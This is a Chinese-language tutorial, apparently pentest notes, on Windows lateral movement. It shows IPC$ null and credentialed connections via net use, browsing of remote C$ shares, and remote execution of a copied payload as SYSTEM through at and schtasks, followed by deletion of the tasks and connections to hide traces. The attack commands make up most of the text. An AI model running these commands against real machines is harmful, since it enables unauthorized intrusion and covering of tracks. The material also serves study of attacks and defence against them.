IPC(Internet Process Connection) 共享"命名管道"的资源,是为了实现进程间通信而开发的命名管道。IPC可以通过验证用户名和密码获取相应权限。通过IPC、D、E……)和系统目录共享(Admin)。
net use #查看本机建立的连接(本机连接其他机器)
net session #查看本机建立的连接(其他机器连接的本机),需要administrator用户执行
net share #查看本地开启的共享
net share ipc$ #开启ipc$共享
net share ipc$ /del #删除ipc$共享
net share admin$ /del #删除admin$共享
net share c$ /del #删除C盘共享
net share d$ /del #删除D盘共享
net use * /del #删除所有连接
输入 net share 可以查看开启的共享。
net use \\10.10.10.80 #与10.10.10.80建立ipc空连接
net use \\10.10.10.80\ipc$ #与10.10.10.80建立ipc空连接
net use \\10.10.10.80\ipc$ /u:"" "" #与10.10.10.80建立ipc空连接
net view \\10.10.10.80 #查看远程主机开启的默认共享
net use \\10.10.10.80/u:"administrator" "123456" #以administrator身份与10.10.10.80建立ipc连接
net use \\10.10.10.80/del #删除建立的ipc连接
net time \\10.10.10.80 #查看该主机上的时间
net use \\10.10.10.80\c$ /u:"administrator" "123456" #建立C盘共享
dir \\10.10.10.80\c$ #查看10.10.10.80盘文件
dir \\10.10.10.80\c$\user #查看10.10.10.80盘文件下的user目录
dir \\10.10.10.80\c$\user\test.exe #查看10.10.10.80盘文件下的user目录下的test.exe文件
net use \\10.10.10.80\c$ /del #删除该C盘共享连接
net use k: \\10.10.10.80\c$ /u:"administrator" "123456" #将目标C盘映射到本地K盘
net use k: /del #删除该映射
建立IPC$非空连接
net use \\10.10.10.80 /u:"administrator" "密码"
IPC空连接 在Windows NT中,是使用 NTLM挑战响应机制认证。空会话是在没有信任的情况下与服务器建立的空连接,对方开启IPC$共享,并且你不用提供用户名和密码就可以连接上对方服务器!建立了一个空的连接后,黑客可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果黑客能够以某一个具有一定权限的用户身份登陆的话,那么就会得到相应的权限。
建立IPC$空连接命令
建立IPC空连接
net use \\10.10.10.201
或 net use \\10.10.10.201 /u:"" ""
或 net use \\10.10.10.201\ipc$ /u:"" ""
值得注意的是在Windows2003以后,空连接什么权限都没有,也就是说并没有太大实质的用处。有些主机的 Administrator 管理员的密码为空,那么我们可以尝试使用IPC空连接,但是大多数情况下服务器都阻止了使用空密码进行连接。或者进入之后权限很低,命令都没有权限执行
使用管理员组内用户(administrator或其他管理员组内用户均可)建立IPC$连接,可以执行以下所有命令。
在和对方建立IPC$连接之后,可以使用dir命令列车对方主机的文件。
也可也在文件管理中使用命令查看对方的文件目录,还可以进行进一步的操作
在建立连接的情况下,可以使用tasklist命令查看对方的进程
tasklist /S 10.10.10.201 /U administrator -P 密码
连接失败原因
常见错误号
计划任务用到的命令就是 at 和 schtasks这两个命令,值得注意的是at命令是windows自带的创建计划任务的命令,它在Windows Vista、Windows Server 2008及之后的操作系统以及不使用at命令了,转为使用schtasks命令!
在使用at命令大致的流程如下:
在操作之前都已经建立了连接,然后使用net time查看对方系统当前时间
net time \\10.10.10.80
接着将文件复制到目标系统中
copy artifact.exe \\10.10.10.80\c$
使用at创建计划任务
at \\10.10.10.80 15:49:50 C:\artifact.exe
清除at记录 计划任务不会因为任务执行完成了就会随之删除。可以自己删除自己创建的计划任务
at \\10.10.10.80 2 /delete
at命令还可以执行命令,然后把结果写入文本文档中,然后使用type命令远程读取文本文档
schtasks命令比at命令更灵活。而且在Windows Vista、Windows Server 2008及之后版本的操作系统已经弃用at命令。 创建一个名称为"test"的计划任务,启动权限为system
schtasks /create /s 10.10.10.80 /tn test /sc onstart /tr c:\artifact.exe /ru system /f
在远程主机运行“test”任务
schtasks /run /s 10.10.10.80 /i /tn "test"
这样的话payload就在目标主机运行了
执行完成之后就删除计划任务
schtasks /delete /s 10.10.10.80 /tn "test" /f
接着删除IPC$
net use \\10.10.10.80 /del /y
在使用schtasks命令的时候会在系统留下日志文件C:WindowsTasksSchedLgU.txt。
schtasks /create /tn "test" /tr C:\Program Files\Windows NT\base.bat /sc once /st 4:50 /S 10.10.10.80 /RU System /u administrator /p "1qaz@WSX"
schtasks /run /tn "test" /S 10.10.10.80 /u administrator /p "1qaz@WSX" /i #立即执行
schtasks /F /delete /tn "test" /S 10.10.10.87 /u administrator /p "1qaz@WSX"
这个时候是没有建立连接,并且是有时间计划的任务,等待一会之后payload就会运行
参数的意思: